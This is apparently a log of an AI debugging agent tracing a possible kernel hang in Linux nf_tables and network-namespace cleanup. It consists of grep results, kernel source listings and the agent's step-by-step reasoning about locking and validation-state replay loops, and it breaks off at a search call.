net/netfilter/nf_conntrack_netlink.c:1908: nfnl_lock(NFNL_SUBSYS_CTNETLINK);
net/netfilter/nf_conntrack_netlink.c-1909- rcu_read_lock();
--
net/netfilter/nf_conntrack_netlink.c-1911- }
net/netfilter/nf_conntrack_netlink.c:1912: nfnl_lock(NFNL_SUBSYS_CTNETLINK);
net/netfilter/nf_conntrack_netlink.c-1913- rcu_read_lock();
--
net/netfilter/nf_tables_api.c=1818=void nft_register_chain_type(const struct nft_chain_type *ctype)
net/netfilter/nf_tables_api.c-1819-{
net/netfilter/nf_tables_api.c:1820: nfnl_lock(NFNL_SUBSYS_NFTABLES);
net/netfilter/nf_tables_api.c-1821- if (WARN_ON(__nft_chain_type_get(ctype->family, ctype->type))) {
--
net/netfilter/nf_tables_api.c=1830=void nft_unregister_chain_type(const struct nft_chain_type *ctype)
net/netfilter/nf_tables_api.c-1831-{
net/netfilter/nf_tables_api.c:1832: nfnl_lock(NFNL_SUBSYS_NFTABLES);
net/netfilter/nf_tables_api.c-1833- chain_type[ctype->family][ctype->type] = NULL;
--
net/netfilter/nf_tables_api.c=3259=int nft_register_expr(struct nft_expr_type *type)
--
net/netfilter/nf_tables_api.c-3263-
net/netfilter/nf_tables_api.c:3264: nfnl_lock(NFNL_SUBSYS_NFTABLES);
net/netfilter/nf_tables_api.c-3265- if (type->family == NFPROTO_UNSPEC)
--
net/netfilter/nf_tables_api.c=3280=void nft_unregister_expr(struct nft_expr_type *type)
net/netfilter/nf_tables_api.c-3281-{
net/netfilter/nf_tables_api.c:3282: nfnl_lock(NFNL_SUBSYS_NFTABLES);
net/netfilter/nf_tables_api.c-3283- list_del_rcu(&type->list);
--
net/netfilter/nf_tables_api.c=8004=int nft_register_obj(struct nft_object_type *obj_type)
--
net/netfilter/nf_tables_api.c-8008-
net/netfilter/nf_tables_api.c:8009: nfnl_lock(NFNL_SUBSYS_NFTABLES);
net/netfilter/nf_tables_api.c-8010- list_add_rcu(&obj_type->list, &nf_tables_objects);
--
net/netfilter/nf_tables_api.c=8022=void nft_unregister_obj(struct nft_object_type *obj_type)
net/netfilter/nf_tables_api.c-8023-{
net/netfilter/nf_tables_api.c:8024: nfnl_lock(NFNL_SUBSYS_NFTABLES);
net/netfilter/nf_tables_api.c-8025- list_del_rcu(&obj_type->list);
--
net/netfilter/nf_tables_api.c=8765=void nft_register_flowtable_type(struct nf_flowtable_type *type)
net/netfilter/nf_tables_api.c-8766-{
net/netfilter/nf_tables_api.c:8767: nfnl_lock(NFNL_SUBSYS_NFTABLES);
net/netfilter/nf_tables_api.c-8768- list_add_tail_rcu(&type->list, &nf_tables_flowtables);
--
net/netfilter/nf_tables_api.c=8773=void nft_unregister_flowtable_type(struct nf_flowtable_type *type)
net/netfilter/nf_tables_api.c-8774-{
net/netfilter/nf_tables_api.c:8775: nfnl_lock(NFNL_SUBSYS_NFTABLES);
net/netfilter/nf_tables_api.c-8776- list_del_rcu(&type->list);
--
net/netfilter/nfnetlink.c=56=static struct {
--
net/netfilter/nfnetlink.c-60-
net/netfilter/nfnetlink.c:61:static struct lock_class_key nfnl_lockdep_keys[NFNL_SUBSYS_COUNT];
net/netfilter/nfnetlink.c-62-
net/netfilter/nfnetlink.c:63:static const char *const nfnl_lockdep_names[NFNL_SUBSYS_COUNT] = {
net/netfilter/nfnetlink.c-64- [NFNL_SUBSYS_NONE] = "nfnl_subsys_none",
--
net/netfilter/nfnetlink.c=91=static struct nfnl_net *nfnl_pernet(struct net *net)
--
net/netfilter/nfnetlink.c-95-
net/netfilter/nfnetlink.c:96:void nfnl_lock(__u8 subsys_id)
net/netfilter/nfnetlink.c-97-{
--
net/netfilter/nfnetlink.c-99-}
net/netfilter/nfnetlink.c:100:EXPORT_SYMBOL_GPL(nfnl_lock);
net/netfilter/nfnetlink.c-101-
--
net/netfilter/nfnetlink.c=116=int nfnetlink_subsys_register(const struct nfnetlink_subsystem *n)
--
net/netfilter/nfnetlink.c-124-
net/netfilter/nfnetlink.c:125: nfnl_lock(n->subsys_id);
net/netfilter/nfnetlink.c-126- if (table[n->subsys_id].subsys) {
--
net/netfilter/nfnetlink.c=137=int nfnetlink_subsys_unregister(const struct nfnetlink_subsystem *n)
net/netfilter/nfnetlink.c-138-{
net/netfilter/nfnetlink.c:139: nfnl_lock(n->subsys_id);
net/netfilter/nfnetlink.c-140- table[n->subsys_id].subsys = NULL;
--
net/netfilter/nfnetlink.c=216=static int nfnetlink_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh,
--
net/netfilter/nfnetlink.c-294- rcu_read_unlock();
net/netfilter/nfnetlink.c:295: nfnl_lock(subsys_id);
net/netfilter/nfnetlink.c-296- if (nfnl_dereference_protected(subsys_id) != ss ||
--
net/netfilter/nfnetlink.c=371=static void nfnetlink_rcv_batch(struct sk_buff *skb, struct nlmsghdr *nlh,
--
net/netfilter/nfnetlink.c-391-
net/netfilter/nfnetlink.c:392: nfnl_lock(subsys_id);
net/netfilter/nfnetlink.c-393- ss = nfnl_dereference_protected(subsys_id);
--
net/netfilter/nfnetlink.c-397- request_module("nfnetlink-subsys-%d", subsys_id);
net/netfilter/nfnetlink.c:398: nfnl_lock(subsys_id);
net/netfilter/nfnetlink.c-399- ss = nfnl_dereference_protected(subsys_id);
--
net/netfilter/nfnetlink.c=801=static int __init nfnetlink_init(void)
--
net/netfilter/nfnetlink.c-808- for (i=0; i<NFNL_SUBSYS_COUNT; i++)
net/netfilter/nfnetlink.c:809: __mutex_init(&table[i].mutex, nfnl_lockdep_names[i], &nfnl_lockdep_keys[i]);
net/netfilter/nfnetlink.c-810-
--
net/netfilter/nfnetlink_log.c=882=static int nfulnl_recv_config(struct sk_buff *skb, const struct nfnl_info *info,
--
net/netfilter/nfnetlink_log.c-922- request_module("ip_conntrack_netlink");
net/netfilter/nfnetlink_log.c:923: nfnl_lock(NFNL_SUBSYS_ULOG);
net/netfilter/nfnetlink_log.c-924- if (rcu_access_pointer(nfnl_ct_hook)) {
--
net/netfilter/nfnetlink_queue.c=1493=static int nfqnl_recv_config(struct sk_buff *skb, const struct nfnl_info *info,
--
net/netfilter/nfnetlink_queue.c-1538- request_module("ip_conntrack_netlink");
net/netfilter/nfnetlink_queue.c:1539: nfnl_lock(NFNL_SUBSYS_QUEUE);
net/netfilter/nfnetlink_queue.c-1540- if (rcu_access_pointer(nfnl_ct_hook))
]
|
| 317/2 |
2026/05/31 10:53 |
llm |
expert |
0m
Model:
Tokens:
input: 128964
output: 36
thoughts: 1030
Thoughts: **Analyzing a Potential Kernel Deadlock Scenario**
Okay, let's break this down. My initial thought was to examine the locking order between `rtnl_lock` and `nfnl_lock`. I quickly dismissed `nfnl_lock` *before* `rtnl_lock` as the culprit, especially since `nfnetlink_rcv_batch` *does* unlock `nfnl_lock` before calling `request_module`. In fact, it releases the lock completely before the batch processing. So that's out. So, no deadlock here.
I then revisited the `commit_mutex` and confirmed, thankfully, that `nft_net->commit_mutex` is unlocked before `request_module` within `nf_tables_module_autoload`, so that's not the issue.
Now, what *is* holding `rtnl_lock()` that might be causing this hang? Could `modprobe` itself be the problem? If a module's init function takes `rtnl_lock()` and then gets stuck, that *could* be the issue, especially if it calls `register_netdevice_notifier` as that might use `rtnl_lock`. However, the reproducer uses `synproxy`, and `nft_synproxy` doesn't use `rtnl_lock()`.
Ah, but could the creation and destruction of a network namespace be involved? The reproducer might be exiting, thus destroying its network namespace. And yes, `cleanup_net` *does* take `rtnl_lock()`. If *that* hangs, it's a possibility. A reference leak in a netdevice or something would be the cause of that hang, as in `cleanup_net` while it is holding `rtnl_lock()` and waiting for `rcu_barrier()`.
The provided kernel stack trace ("task:kworker/0:3 state:D stack:24936 pid:5893 tgid:5893 ppid:2 task_flags:0x4208060 flags:0x00004000 Workqueue: events_power_efficient crda_timeout_work") indicates that `rtnl_lock()` is *being* held.
Now, what could cause `cleanup_net` to hang while waiting for `rcu_barrier()`? Aha! If `nfnetlink_rcv_batch` is in an *infinite loop*! If that's the case, and it doesn't yield, it would prevent RCU grace periods from completing. `nfnetlink_rcv_batch` doesn't use `rcu_read_lock()` within the loop, which means, if the kernel is configured with `CONFIG_PREEMPT_NONE` or `CONFIG_PREEMPT_VOLUNTARY`, it won't schedule the RCU grace period thread, causing `rcu_barrier()` to block. And if `cleanup_net` calls `rcu_barrier()` while holding `rtnl_lock()`, that's the deadlock. This seems like the most promising lead. Let's check `cleanup_net` to confirm.
|
| 318/2 |
2026/05/31 10:53 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/core/net_namespace.c Name:cleanup_net]
Results: map[SourceCode: 647: static void cleanup_net(struct work_struct *work)
648: {
649: struct llist_node *net_kill_list;
650: struct net *net, *tmp, *last;
651: LIST_HEAD(net_exit_list);
652:
653: WRITE_ONCE(cleanup_net_task, current);
654:
655: /* Atomically snapshot the list of namespaces to cleanup */
656: net_kill_list = llist_del_all(&cleanup_list);
657:
658: down_read(&pernet_ops_rwsem);
659:
660: /* Don't let anyone else find us. */
661: down_write(&net_rwsem);
662: llist_for_each_entry(net, net_kill_list, cleanup_list)
663: list_del_rcu(&net->list);
664: /* Cache last net. After we unlock rtnl, no one new net
665: * added to net_namespace_list can assign nsid pointer
666: * to a net from net_kill_list (see peernet2id_alloc()).
667: * So, we skip them in unhash_nsid().
668: *
669: * Note, that unhash_nsid() does not delete nsid links
670: * between net_kill_list's nets, as they've already
671: * deleted from net_namespace_list. But, this would be
672: * useless anyway, as netns_ids are destroyed there.
673: */
674: last = list_last_entry(&net_namespace_list, struct net, list);
675: up_write(&net_rwsem);
676:
677: llist_for_each_entry(net, net_kill_list, cleanup_list) {
678: unhash_nsid(net, last);
679: list_add_tail(&net->exit_list, &net_exit_list);
680: }
681:
682: ops_undo_list(&pernet_list, NULL, &net_exit_list, true);
683:
684: up_read(&pernet_ops_rwsem);
685:
686: /* Ensure there are no outstanding rcu callbacks using this
687: * network namespace.
688: */
689: rcu_barrier();
690:
691: net_complete_free();
692:
693: /* Finally it is safe to free my network namespace structure */
694: list_for_each_entry_safe(net, tmp, &net_exit_list, exit_list) {
695: list_del_init(&net->exit_list);
696: dec_net_namespaces(net->ucounts);
697: #ifdef CONFIG_KEYS
698: key_remove_domain(net->key_domain);
699: #endif
700: put_user_ns(net->user_ns);
701: net_passive_dec(net);
702: }
703: WRITE_ONCE(cleanup_net_task, NULL);
704: }
SourceFile:net/core/net_namespace.c]
|
| 319/2 |
2026/05/31 10:53 |
llm |
expert |
0m
Model:
Tokens:
input: 131672
output: 38
thoughts: 117
Thoughts: Okay, let me think this through.
**Analyzing Potential Deadlock in Network Cleanup**
Right, so `cleanup_net`... that function, I need to be absolutely sure about this, it doesn't *itself* hold the `rtnl_lock()`. That's the crucial first point. It seems to call `ops_undo_list`, which is where things get a bit more interesting, and potentially problematic. It looks like `ops_undo_list` is the trigger, it then calls the `exit` functions associated with various pernet subsystems. Now, and this is where I start to see a potential red flag, some of *those* `exit` functions – the ones called by `ops_undo_list` – might *indeed* take `rtnl_lock()`. I know a few off the top of my head that have a history of doing so.
Take, for instance, `default_device_exit`. That one often needs the routing table lock, the `rtnl_lock()`, to do its job. So, the sequence of events is potentially dangerous. If `default_device_exit` *does* acquire `rtnl_lock()` and then, for some reason, ends up waiting for something else, we've got a classic deadlock scenario brewing. Or, maybe I'm misinterpreting this. Perhaps `ops_undo_list` *itself* is responsible for grabbing the `rtnl_lock()` before calling the subsystem exit functions. That could change the analysis completely. I need to dig deeper into the code of `ops_undo_list` to confirm that.
|
| 320/2 |
2026/05/31 10:53 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/core/net_namespace.c Name:ops_undo_list]
Results: map[SourceCode: 218: static void ops_undo_list(const struct list_head *ops_list,
219: const struct pernet_operations *ops,
220: struct list_head *net_exit_list,
221: bool expedite_rcu)
222: {
223: const struct pernet_operations *saved_ops;
224: bool hold_rtnl = false;
225:
226: if (!ops)
227: ops = list_entry(ops_list, typeof(*ops), list);
228:
229: saved_ops = ops;
230:
231: list_for_each_entry_continue_reverse(ops, ops_list, list) {
232: hold_rtnl |= !!ops->exit_rtnl;
233: ops_pre_exit_list(ops, net_exit_list);
234: }
235:
236: /* Another CPU might be rcu-iterating the list, wait for it.
237: * This needs to be before calling the exit() notifiers, so the
238: * rcu_barrier() after ops_undo_list() isn't sufficient alone.
239: * Also the pre_exit() and exit() methods need this barrier.
240: */
241: if (expedite_rcu)
242: synchronize_rcu_expedited();
243: else
244: synchronize_rcu();
245:
246: if (hold_rtnl)
247: ops_exit_rtnl_list(ops_list, saved_ops, net_exit_list);
248:
249: ops = saved_ops;
250: list_for_each_entry_continue_reverse(ops, ops_list, list)
251: ops_exit_list(ops, net_exit_list);
252:
253: ops = saved_ops;
254: list_for_each_entry_continue_reverse(ops, ops_list, list)
255: ops_free_list(ops, net_exit_list);
256: }
SourceFile:net/core/net_namespace.c]
|
| 321/2 |
2026/05/31 10:53 |
llm |
expert |
0m
Model:
Tokens:
input: 132821
output: 43
thoughts: 2549
Thoughts: **Root Cause Analysis of Potential Kernel Hang**
Okay, so I've been tracing the execution flow, and here's what I've figured out. We're looking at a scenario where `ops_undo_list` calls `ops_exit_rtnl_list`, which, importantly, takes `rtnl_lock()`. The `exit` functions handle releasing the lock, but not *while* waiting on RCU. This creates a potential race condition. We're concerned about a possible deadlock.
The core of the problem seems to stem from a loop within `nfnetlink_rcv_batch`. If that function enters an *infinite* loop, it can prevent RCU grace periods from completing. This is a crucial point. If RCU doesn't complete, `synchronize_rcu()` will block, which can cause a task that holds `rtnl_lock()` to hang indefinitely. Then `crda_timeout_work` will hang waiting for `rtnl_lock()`!
The initial assumption was that `nfnetlink_rcv_batch` itself contained an infinite loop, however, after closer examination of the code, this isn't immediately obvious. The loop is conditional, dependent on the `NFNL_BATCH_REPLAY` flag. Let's analyze the conditions that set `NFNL_BATCH_REPLAY`:
1. `nc->call` (which is `nf_tables_newrule`) can set it if it returns `-EAGAIN`.
2. `ss->commit` (which is `nf_tables_commit`) can set it if it returns `-EAGAIN`.
3. `ss->abort` can set it, under certain conditions. However, in one path, `status` doesn't get reset and it won't loop.
The loop will be infinite if `nc->call` or `ss->commit` return `-EAGAIN` infinitely.
Let's examine the first case. `nf_tables_newrule` returns `-EAGAIN` if `nft_expr_type_request_module` returns `-EAGAIN`. That function then relies on the module being in `module_list`. Initially, it's NOT in `module_list`, which means that `nfnetlink_rcv_batch` *does* loop. The crucial point here is the interaction with `nf_tables_module_autoload`, where modules are requested. However, in all cases, the modules eventually gets loaded. So it *shouldn't* loop infinitely.
Now let's consider the second scenario: `ss->commit` returning `-EAGAIN`. This happens when `nf_tables_validate` returns a negative error. In this path, if it returns `-EAGAIN`, `nfnetlink_rcv_batch` also loops, but resets, and can call `nf_tables_validate` again. So this should NOT loop infinitely.
Then, there is the edge case. If `nft_table_validate` returns 0 in `nf_tables_newrule`, but `nf_tables_validate` returns `< 0` in `nf_tables_commit`, we have a potential infinite loop! During the initial `nf_tables_newrule` call, the table is considered valid, but then, during the commit and the check for *all* tables, some *other* table is discovered to be invalid, causing `nf_tables_commit` to return `-EAGAIN`, forcing a replay. On replay, `nf_tables_newrule` validates a *valid* table, `nf_tables_commit` validates *all* tables again, which fails on some other table, and it loops forever!
So the scenario is that we have Table A, which is invalid, and Table B, where a rule is *added*. On commit, the validation of Table A triggers a replay, and the cycle continues. The validation state must be `NFT_VALIDATE_DO` to re-enter this state.
We can trigger this state when `nft_validate_state_update` updates `net->nft.validate_state`, NOT the table itself! This may happen if the newly added rule on Table B has an expression that has a validation callback.
Therefore, the infinite loop and resultant hang is triggered when we try to commit transactions that contains errors with table validation.
|
| 322/2 |
2026/05/31 10:54 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nft_validate_state_update]
Results: map[SourceCode: 111: static void nft_validate_state_update(struct nft_table *table, u8 new_validate_state)
112: {
113: switch (table->validate_state) {
114: case NFT_VALIDATE_SKIP:
115: WARN_ON_ONCE(new_validate_state == NFT_VALIDATE_DO);
116: break;
117: case NFT_VALIDATE_NEED:
118: break;
119: case NFT_VALIDATE_DO:
120: if (new_validate_state == NFT_VALIDATE_NEED)
121: return;
122: }
123:
124: table->validate_state = new_validate_state;
125: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 323/2 |
2026/05/31 10:54 |
llm |
expert |
0m
Model:
Tokens:
input: 136596
output: 41
thoughts: 175
Thoughts: **My Current Thinking on NFT Validation**
Okay, so I'm tracing the validation process here, specifically how the state is managed. Right, I see that `nft_validate_state_update` is the function responsible for updating `table->validate_state`. Good. Got it. Now, hold on, looking at the `nf_tables_newrule` function, it calls this update function if the operation has a validate function. Makes sense.
But then, I'm now in `nf_tables_commit`, and I'm seeing something different. `nf_tables_commit` is checking the validation status with `nf_tables_validate`, and if it fails, it sets `nft_net->validate_state = NFT_VALIDATE_DO`. Whoa, wait a minute, I thought the state updates were only happening on the table, not on the network namespace directly. This seems like a potential conflict, doesn't it? Time to go back and re-examine the `nf_tables_validate` function to understand the relationship between these two states.
|
| 324/2 |
2026/05/31 10:54 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_validate]
Results: map[SourceCode:10079: static int nf_tables_validate(struct net *net)
10080: {
10081: struct nftables_pernet *nft_net = nft_pernet(net);
10082: struct nft_table *table;
10083:
10084: list_for_each_entry(table, &nft_net->tables, list) {
10085: switch (table->validate_state) {
10086: case NFT_VALIDATE_SKIP:
10087: continue;
10088: case NFT_VALIDATE_NEED:
10089: nft_validate_state_update(table, NFT_VALIDATE_DO);
10090: fallthrough;
10091: case NFT_VALIDATE_DO:
10092: if (nft_table_validate(net, table) < 0)
10093: return -EAGAIN;
10094:
10095: nft_validate_state_update(table, NFT_VALIDATE_SKIP);
10096: break;
10097: }
10098: }
10099:
10100: return 0;
10101: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 325/2 |
2026/05/31 10:54 |
llm |
expert |
0m
Model:
Tokens:
input: 137419
output: 42
thoughts: 173
Thoughts: **My Analysis of the Netfilter Table Validation Process**
Right, so `nf_tables_validate` is the starting point. It's iterating through every table, essentially a top-down approach. The key is this `table->validate_state`. If it's flagged as `NEED`, it flips to `DO` and kicks off the validation. A failure there, and we're seeing an `-EAGAIN` error returned, which indicates a retry is necessary.
Then, `nf_tables_commit` comes into play. This sets `nft_net->validate_state = NFT_VALIDATE_DO` and returns `-EAGAIN`... again, a signal to replay. This means we're in some kind of state machine, probably.
The replay stage is where things get interesting. Specifically, `nf_tables_newrule`. Ah, now I remember, `nf_tables_newrule` includes this check:
```c
if (table->validate_state == NFT_VALIDATE_DO)
return nft_table_validate(net, table);
```
Hold on... `nf_tables_newrule` is actively checking `table->validate_state`! This means it's a critical point in this logic. It's the point where tables are validated *during* the replay. I need to re-examine that function and how that state variable is managed... I need to see if there are any race conditions or unintended side effects there. This is where I'd start digging deeper to understand the entire replay process.
|
| 326/2 |
2026/05/31 10:54 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_newrule]
Results: map[SourceCode:4195: static int nf_tables_newrule(struct sk_buff *skb, const struct nfnl_info *info,
4196: const struct nlattr * const nla[])
4197: {
4198: struct nftables_pernet *nft_net = nft_pernet(info->net);
4199: struct netlink_ext_ack *extack = info->extack;
4200: unsigned int size, i, n, ulen = 0, usize = 0;
4201: u8 genmask = nft_genmask_next(info->net);
4202: struct nft_rule *rule, *old_rule = NULL;
4203: struct nft_expr_info *expr_info = NULL;
4204: u8 family = info->nfmsg->nfgen_family;
4205: struct nft_flow_rule *flow = NULL;
4206: struct net *net = info->net;
4207: struct nft_userdata *udata;
4208: struct nft_table *table;
4209: struct nft_chain *chain;
4210: struct nft_trans *trans;
4211: u64 handle, pos_handle;
4212: struct nft_expr *expr;
4213: struct nft_ctx ctx;
4214: struct nlattr *tmp;
4215: int err, rem;
4216:
4217: lockdep_assert_held(&nft_net->commit_mutex);
4218:
4219: table = nft_table_lookup(net, nla[NFTA_RULE_TABLE], family, genmask,
4220: NETLINK_CB(skb).portid);
4221: if (IS_ERR(table)) {
4222: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_TABLE]);
4223: return PTR_ERR(table);
4224: }
4225:
4226: if (nla[NFTA_RULE_CHAIN]) {
4227: chain = nft_chain_lookup(net, table, nla[NFTA_RULE_CHAIN],
4228: genmask);
4229: if (IS_ERR(chain)) {
4230: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_CHAIN]);
4231: return PTR_ERR(chain);
4232: }
4233:
4234: } else if (nla[NFTA_RULE_CHAIN_ID]) {
4235: chain = nft_chain_lookup_byid(net, table, nla[NFTA_RULE_CHAIN_ID],
4236: genmask);
4237: if (IS_ERR(chain)) {
4238: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_CHAIN_ID]);
4239: return PTR_ERR(chain);
4240: }
4241: } else {
4242: return -EINVAL;
4243: }
4244:
4245: if (nft_chain_is_bound(chain))
4246: return -EOPNOTSUPP;
4247:
4248: if (nla[NFTA_RULE_HANDLE]) {
4249: handle = be64_to_cpu(nla_get_be64(nla[NFTA_RULE_HANDLE]));
4250: rule = __nft_rule_lookup(net, chain, handle);
4251: if (IS_ERR(rule)) {
4252: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_HANDLE]);
4253: return PTR_ERR(rule);
4254: }
4255:
4256: if (info->nlh->nlmsg_flags & NLM_F_EXCL) {
4257: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_HANDLE]);
4258: return -EEXIST;
4259: }
4260: if (info->nlh->nlmsg_flags & NLM_F_REPLACE)
4261: old_rule = rule;
4262: else
4263: return -EOPNOTSUPP;
4264: } else {
4265: if (!(info->nlh->nlmsg_flags & NLM_F_CREATE) ||
4266: info->nlh->nlmsg_flags & NLM_F_REPLACE)
4267: return -EINVAL;
4268: handle = nf_tables_alloc_handle(table);
4269:
4270: if (nla[NFTA_RULE_POSITION]) {
4271: pos_handle = be64_to_cpu(nla_get_be64(nla[NFTA_RULE_POSITION]));
4272: old_rule = __nft_rule_lookup(net, chain, pos_handle);
4273: if (IS_ERR(old_rule)) {
4274: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_POSITION]);
4275: return PTR_ERR(old_rule);
4276: }
4277: } else if (nla[NFTA_RULE_POSITION_ID]) {
4278: old_rule = nft_rule_lookup_byid(net, chain, nla[NFTA_RULE_POSITION_ID]);
4279: if (IS_ERR(old_rule)) {
4280: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_POSITION_ID]);
4281: return PTR_ERR(old_rule);
4282: }
4283: }
4284: }
4285:
4286: nft_ctx_init(&ctx, net, skb, info->nlh, family, table, chain, nla);
4287:
4288: n = 0;
4289: size = 0;
4290: if (nla[NFTA_RULE_EXPRESSIONS]) {
4291: expr_info = kvmalloc_array(NFT_RULE_MAXEXPRS,
4292: sizeof(struct nft_expr_info),
4293: GFP_KERNEL);
4294: if (!expr_info)
4295: return -ENOMEM;
4296:
4297: nla_for_each_nested(tmp, nla[NFTA_RULE_EXPRESSIONS], rem) {
4298: err = -EINVAL;
4299: if (nla_type(tmp) != NFTA_LIST_ELEM)
4300: goto err_release_expr;
4301: if (n == NFT_RULE_MAXEXPRS)
4302: goto err_release_expr;
4303: err = nf_tables_expr_parse(&ctx, tmp, &expr_info[n]);
4304: if (err < 0) {
4305: NL_SET_BAD_ATTR(extack, tmp);
4306: goto err_release_expr;
4307: }
4308: size += expr_info[n].ops->size;
4309: n++;
4310: }
4311: }
4312: /* Check for overflow of dlen field */
4313: err = -EFBIG;
4314: if (size >= 1 << 12)
4315: goto err_release_expr;
4316:
4317: if (nla[NFTA_RULE_USERDATA]) {
4318: ulen = nla_len(nla[NFTA_RULE_USERDATA]);
4319: if (ulen > 0)
4320: usize = sizeof(struct nft_userdata) + ulen;
4321: }
4322:
4323: err = -ENOMEM;
4324: rule = kzalloc(sizeof(*rule) + size + usize, GFP_KERNEL_ACCOUNT);
4325: if (rule == NULL)
4326: goto err_release_expr;
4327:
4328: nft_activate_next(net, rule);
4329:
4330: rule->handle = handle;
4331: rule->dlen = size;
4332: rule->udata = ulen ? 1 : 0;
4333:
4334: if (ulen) {
4335: udata = nft_userdata(rule);
4336: udata->len = ulen - 1;
4337: nla_memcpy(udata->data, nla[NFTA_RULE_USERDATA], ulen);
4338: }
4339:
4340: expr = nft_expr_first(rule);
4341: for (i = 0; i < n; i++) {
4342: err = nf_tables_newexpr(&ctx, &expr_info[i], expr);
4343: if (err < 0) {
4344: NL_SET_BAD_ATTR(extack, expr_info[i].attr);
4345: goto err_release_rule;
4346: }
4347:
4348: if (expr_info[i].ops->validate)
4349: nft_validate_state_update(table, NFT_VALIDATE_NEED);
4350:
4351: expr_info[i].ops = NULL;
4352: expr = nft_expr_next(expr);
4353: }
4354:
4355: if (chain->flags & NFT_CHAIN_HW_OFFLOAD) {
4356: flow = nft_flow_rule_create(net, rule);
4357: if (IS_ERR(flow)) {
4358: err = PTR_ERR(flow);
4359: goto err_release_rule;
4360: }
4361: }
4362:
4363: if (!nft_use_inc(&chain->use)) {
4364: err = -EMFILE;
4365: goto err_release_rule;
4366: }
4367:
4368: if (info->nlh->nlmsg_flags & NLM_F_REPLACE) {
4369: if (nft_chain_binding(chain)) {
4370: err = -EOPNOTSUPP;
4371: goto err_destroy_flow_rule;
4372: }
4373:
4374: err = nft_delrule(&ctx, old_rule);
4375: if (err < 0)
4376: goto err_destroy_flow_rule;
4377:
4378: trans = nft_trans_rule_add(&ctx, NFT_MSG_NEWRULE, rule);
4379: if (trans == NULL) {
4380: err = -ENOMEM;
4381: goto err_destroy_flow_rule;
4382: }
4383: list_add_tail_rcu(&rule->list, &old_rule->list);
4384: } else {
4385: trans = nft_trans_rule_add(&ctx, NFT_MSG_NEWRULE, rule);
4386: if (!trans) {
4387: err = -ENOMEM;
4388: goto err_destroy_flow_rule;
4389: }
4390:
4391: if (info->nlh->nlmsg_flags & NLM_F_APPEND) {
4392: if (old_rule)
4393: list_add_rcu(&rule->list, &old_rule->list);
4394: else
4395: list_add_tail_rcu(&rule->list, &chain->rules);
4396: } else {
4397: if (old_rule)
4398: list_add_tail_rcu(&rule->list, &old_rule->list);
4399: else
4400: list_add_rcu(&rule->list, &chain->rules);
4401: }
4402: }
4403: kvfree(expr_info);
4404:
4405: if (flow)
4406: nft_trans_flow_rule(trans) = flow;
4407:
4408: if (table->validate_state == NFT_VALIDATE_DO)
4409: return nft_table_validate(net, table);
4410:
4411: return 0;
4412:
4413: err_destroy_flow_rule:
4414: nft_use_dec_restore(&chain->use);
4415: if (flow)
4416: nft_flow_rule_destroy(flow);
4417: err_release_rule:
4418: nft_rule_expr_deactivate(&ctx, rule, NFT_TRANS_PREPARE_ERROR);
4419: nf_tables_rule_destroy(&ctx, rule);
4420: err_release_expr:
4421: for (i = 0; i < n; i++) {
4422: if (expr_info[i].ops) {
4423: module_put(expr_info[i].ops->type->owner);
4424: if (expr_info[i].ops->type->release_ops)
4425: expr_info[i].ops->type->release_ops(expr_info[i].ops);
4426: }
4427: }
4428: kvfree(expr_info);
4429:
4430: return err;
4431: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 327/2 |
2026/05/31 10:54 |
llm |
expert |
0m
Model:
Tokens:
input: 141804
output: 21
thoughts: 906
Thoughts: **Analyzing the nftables Validation State Machine**
Okay, let's break this down. My initial concern was about a potential infinite loop in the `nftables` commit process. Specifically, I was worried about the interplay between `nf_tables_newrule`, `nf_tables_commit`, and the validation state of the tables.
My initial thought was, "Hey, `nf_tables_newrule` checks if `table->validate_state == NFT_VALIDATE_DO`. But `nf_tables_commit` *sets* `nft_net->validate_state = NFT_VALIDATE_DO`!" But then, I caught myself; `nf_tables_commit` doesn't directly set `table->validate_state`. Instead, `nf_tables_commit` calls `nf_tables_validate`, which *temporarily* sets the `table->validate_state`.
I went back and double-checked the `nf_tables_commit` code. It correctly sets `nft_net->validate_state = NFT_VALIDATE_DO` if `nf_tables_validate` returns an error (meaning validation failed). However, `nf_tables_validate` itself manipulates the table's state! It changes `table->validate_state` to `NFT_VALIDATE_DO` only *temporarily*. Here's the kicker: if `nft_table_validate` fails *within* `nf_tables_validate` (returns < 0), then `nf_tables_validate` returns -EAGAIN *immediately*. So, `table->validate_state` is *left* as `NFT_VALIDATE_DO`!
This means that if a validation error occurs within the commit process, `nf_tables_commit` returns `-EAGAIN`. The netlink batch is then replayed, which is when `nf_tables_newrule` gets called again. The key part is that, since the previous validation failed, `table->validate_state` *remains* as `NFT_VALIDATE_DO`. The logic is:
1. `nf_tables_newrule` adds the new rule.
2. It then sees `table->validate_state == NFT_VALIDATE_DO` and calls `nft_table_validate`.
3. `nft_table_validate` *still* fails (e.g., `-EOPNOTSUPP`).
4. `nf_tables_newrule` then returns the failure code (e.g., `-EOPNOTSUPP`).
5. `nfnetlink_rcv_batch` *handles* this error and aborts the batch!
So, there's no infinite loop. It correctly handles the error and bails out. This is a very important point!
Now, I started wondering: does `nf_tables_abort` clear the `table->validate_state`? I had to check the `nf_tables_abort` function. That's where I saw `nf_tables_cleanup`, which calls `nft_validate_state_update(net, NFT_VALIDATE_SKIP)`. But it's called *only* when the netlink batch is aborting. Now, the `nft_validate_state_update` function *does* appear to take either a `struct net *` *or* a `struct nft_table *`, based on the arguments I see in the code. I didn't see a call to change the validation state of the `struct nft_table *` during the abort path, so I had to confirm which function it was calling.
|
| 328/2 |
2026/05/31 10:54 |
tool |
grepper |
0m
Args: map[Expression:nft_validate_state_update]
